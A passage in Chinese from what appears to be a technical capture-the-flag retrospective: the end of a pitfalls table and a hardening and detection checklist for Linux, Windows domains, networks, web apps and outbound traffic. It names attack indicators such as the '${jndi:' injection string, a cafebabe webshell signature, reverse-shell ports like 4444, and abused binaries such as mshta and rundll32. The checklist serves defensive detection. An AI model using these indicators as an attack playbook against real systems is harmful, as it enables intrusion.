18忘记关掉通配符解析请求发不出方括号被当通配符关掉 globbing;用 -v/抓包确认字节
19编码混淆密钥解不对把"看起来像 hex 的字符串"当 hex分清字符本身与它的十六进制表示
20黑名单思维被 %0a 等绕过黑名单永远列不全用白名单

20. 加固与检测清单

40.1 Linux 主机

  • 完整性:rpm -Va / debsums -c 纳入日常巡检并基线化;关键二进制(ssh*、sshd、/bin/*)单独监控
  • 提权面:全盘清点 SUID/SGID(用 rpm -qf 找不属于任何包的"孤儿 SUID");清点 -perm -o+w 文件;getcap -r / 查 capabilities
  • 持久化:/etc/crontab + /etc/cron.d/ + root 自己的 crontab(/var/spool/cron*);systemd unit 目录基线
  • 账号:UID 唯一性校验(找第二个 UID 0);/etc/shadow 与备份的 diff;/etc/passwd 里出现口令哈希
  • 藏匿点:/tmp、/var/tmp、/dev/shm 下的隐藏文件与脚本(点开头的文件 ls 默认不显示)
  • 认证:改用证书/硬件密钥;"登录成功但 PAM 无记录"告警

40.2 Windows / 域

  • 持久化三件套:注册表 Run 键、计划任务(事件 4698 / TaskScheduler 106)、WMI 事件订阅(root\subscription 下的三个类都要查,WMI-Activity 事件 5861)
  • 账号:Get-LocalUser、net localgroup Administrators、服务账号的网络登录(4624 Type 3)
  • 进程链:winword.exe → wscript/powershell/cmd(宏攻击最强特征);父进程是 WMI 的 powershell(非常异常)
  • 落地目录:%TEMP%、%APPDATA%、C:\ProgramData 下可执行文件的创建(Sysmon 11)
  • 签名二进制滥用:wscript、cscript、mshta、regsvr32、rundll32 的异常调用

40.3 网络

  • 异常主动外连:ip.src==受害机 and syn and !ack 的分布 —— 后门最强特征;固定周期(60s)的连接是心跳后门
  • 区分方向:按源地址分组统计建连,分清"下载"与"回连"
  • 加密流量:同一 AES 密钥跨多条 TCP 流 → Web 层会话,按密钥归并攻击者行为
  • webshell 特征:响应体以 cafebabe 开头(Java class 魔数,误报率极低);请求体 base64 且长度为 16 的倍数
  • 注入特征:${jndi: 及其变形;应用进程发起 LDAP/RMI 连接
  • 爆破特征:单 IP 短时间内 404 占比 > 90%

40.4 Web 与应用

  • 代码审计必查:上传接口是否只校验 Content-Type;SQL 是否参数化;s/类名类参数是否白名单
  • 暴露面:Tomcat manager、Actuator include=*、Nacos 未升级、UEditor、Tiny File Manager 这类单文件工具
  • 凭据:前端 JS 里是否有硬编码 token/key(CI 阶段扫描);配置里是否明文口令;JWT 签名密钥强度与权限位是否来自 token 载荷
  • 目录:关闭目录列举;备份文件不放在 Web 根;Web 目录新增脚本文件的实时告警

40.5 出站与终端

  • 出站白名单:应用服务器不应主动连外网任意端口(LDAP 1389、4444、8080、8443 都该拦)
  • 邮件网关:仿冒域名检测;.docm/.xlsm/.js/.lnk 拦截或沙箱
  • 宏策略:GPO 禁用宏 / 只允许签名宏 / 阻止 Internet 来源的宏(Mark-of-the-Web)
  • 备份:3-2-1 且离线(勒索最怕离线备份);卷影副本保护;限制 vssadmin 执行

本文档为技术学习用复盘,仅存本机;按赛规不将 flag 与解法外发。